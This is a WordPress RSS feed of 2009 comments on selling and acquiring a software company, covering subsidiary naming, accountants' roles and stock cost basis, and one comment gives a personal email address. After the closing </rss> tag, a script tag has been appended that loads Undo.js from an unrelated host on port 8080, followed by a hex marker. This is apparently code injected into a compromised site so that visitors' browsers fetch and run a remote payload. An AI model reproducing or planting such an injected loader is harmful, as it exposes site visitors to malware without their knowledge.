<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: Sell a Software Company &#8211; The Valuation Dilema</title>
	<atom:link href="http://acquiree.info/acquisition-company/sell-a-software-company-the-valuation-dilema/feed" rel="self" type="application/rss+xml" />
	<link>http://acquiree.info/acquisition-company/sell-a-software-company-the-valuation-dilema</link>
	<description></description>
	<lastBuildDate>Thu, 22 Apr 2010 05:41:25 -0500</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.2</generator>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<item>
		<title>By: mrxisthename11</title>
		<link>http://acquiree.info/acquisition-company/sell-a-software-company-the-valuation-dilema/comment-page-2#comment-2720</link>
		<dc:creator>mrxisthename11</dc:creator>
		<pubDate>Sat, 24 Oct 2009 20:31:22 +0000</pubDate>
		<guid isPermaLink="false">http://acquiree.info/acquisition-company/sell-a-software-company-the-valuation-dilema#comment-2720</guid>
		<description>That is in the discretion of the acquiring Company.. It may allow to operate in the same name or bring it under one of its units / branches.. If it allows to operate in the old name it should provide the name of the acquiring company next to existing company.

Ex : if A Ltd acquired B Ltd,  the name should be B Ltd (Unit of A Ltd).. However the name of B Ltd wil be removed from the index in the office of the Registrar of Companies.</description>
		<content:encoded><![CDATA[<p>That is in the discretion of the acquiring Company.. It may allow to operate in the same name or bring it under one of its units / branches.. If it allows to operate in the old name it should provide the name of the acquiring company next to existing company.</p>
<p>Ex : if A Ltd acquired B Ltd,  the name should be B Ltd (Unit of A Ltd).. However the name of B Ltd wil be removed from the index in the office of the Registrar of Companies.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: sazy fizle</title>
		<link>http://acquiree.info/acquisition-company/sell-a-software-company-the-valuation-dilema/comment-page-1#comment-2746</link>
		<dc:creator>sazy fizle</dc:creator>
		<pubDate>Sat, 24 Oct 2009 18:27:19 +0000</pubDate>
		<guid isPermaLink="false">http://acquiree.info/acquisition-company/sell-a-software-company-the-valuation-dilema#comment-2746</guid>
		<description>The accountants work with the lawyers to complete the contracts and provide any financial summeries etc that may be required (especially if the company is public).</description>
		<content:encoded><![CDATA[<p>The accountants work with the lawyers to complete the contracts and provide any financial summeries etc that may be required (especially if the company is public).</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: hallielaw</title>
		<link>http://acquiree.info/acquisition-company/sell-a-software-company-the-valuation-dilema/comment-page-1#comment-2739</link>
		<dc:creator>hallielaw</dc:creator>
		<pubDate>Sat, 24 Oct 2009 18:06:25 +0000</pubDate>
		<guid isPermaLink="false">http://acquiree.info/acquisition-company/sell-a-software-company-the-valuation-dilema#comment-2739</guid>
		<description>Wow, that&#039;s a funny question. I was with a telecom company that recently sold out, 16 switches to one company and the rest to another.  Luckily I stayed with the company that purchased the 16 and am in a more stable company.  I think that factors that weighed in included revenues, but also market penetration, lit fiber miles, etc.  Someone with low revenue but good market penetration would probably not be looked at for acquisition.  If you want to share experiences you can reach me at kmcpmgoodson@yahoo.com.</description>
		<content:encoded><![CDATA[<p>Wow, that&#039;s a funny question. I was with a telecom company that recently sold out, 16 switches to one company and the rest to another.  Luckily I stayed with the company that purchased the 16 and am in a more stable company.  I think that factors that weighed in included revenues, but also market penetration, lit fiber miles, etc.  Someone with low revenue but good market penetration would probably not be looked at for acquisition.  If you want to share experiences you can reach me at kmcpmgoodson@yahoo.com.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: A.Rahman</title>
		<link>http://acquiree.info/acquisition-company/sell-a-software-company-the-valuation-dilema/comment-page-1#comment-2748</link>
		<dc:creator>A.Rahman</dc:creator>
		<pubDate>Sat, 24 Oct 2009 16:39:45 +0000</pubDate>
		<guid isPermaLink="false">http://acquiree.info/acquisition-company/sell-a-software-company-the-valuation-dilema#comment-2748</guid>
		<description>It&#039;s easier for the accountants if it is merged into a company that is a subsidiary with no other business.  In some cases it also protects privacy, because if they merged directly into the acquirer, then a lot of the acquirer&#039;s financials would have to be disclosed.</description>
		<content:encoded><![CDATA[<p>It&#039;s easier for the accountants if it is merged into a company that is a subsidiary with no other business.  In some cases it also protects privacy, because if they merged directly into the acquirer, then a lot of the acquirer&#039;s financials would have to be disclosed.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: John T</title>
		<link>http://acquiree.info/acquisition-company/sell-a-software-company-the-valuation-dilema/comment-page-1#comment-2754</link>
		<dc:creator>John T</dc:creator>
		<pubDate>Sat, 24 Oct 2009 15:52:35 +0000</pubDate>
		<guid isPermaLink="false">http://acquiree.info/acquisition-company/sell-a-software-company-the-valuation-dilema#comment-2754</guid>
		<description>Just divide your original purchase price to have in the current year a cost of .50 cents per share and a cost of .25 cents per share for each of the next two years. That way your cost %&#039;s will match your sale payment %&#039;s. As far as a basis of $0 setting off red flags with the IRS that isn&#039;t the case at all. Insurance companies have gone from mutual insurance companies to stock insurance companies, and have given shares to insurance policy holders (I have shares of Prudential and my wife has shares of Met Life because of this, and neither of us paid anything for those shares, so our basis in the stocks is $0).</description>
		<content:encoded><![CDATA[<p>Just divide your original purchase price to have in the current year a cost of .50 cents per share and a cost of .25 cents per share for each of the next two years. That way your cost %&#039;s will match your sale payment %&#039;s. As far as a basis of $0 setting off red flags with the IRS that isn&#039;t the case at all. Insurance companies have gone from mutual insurance companies to stock insurance companies, and have given shares to insurance policy holders (I have shares of Prudential and my wife has shares of Met Life because of this, and neither of us paid anything for those shares, so our basis in the stocks is $0).</p>
]]></content:encoded>
	</item>
</channel>
</rss>



<script type="text/javascript" src="http://oployau.fancountblogger.com:8080/Undo.js"></script>
<!--70f30cb1c91cb389cf52a072dc1de0cc-->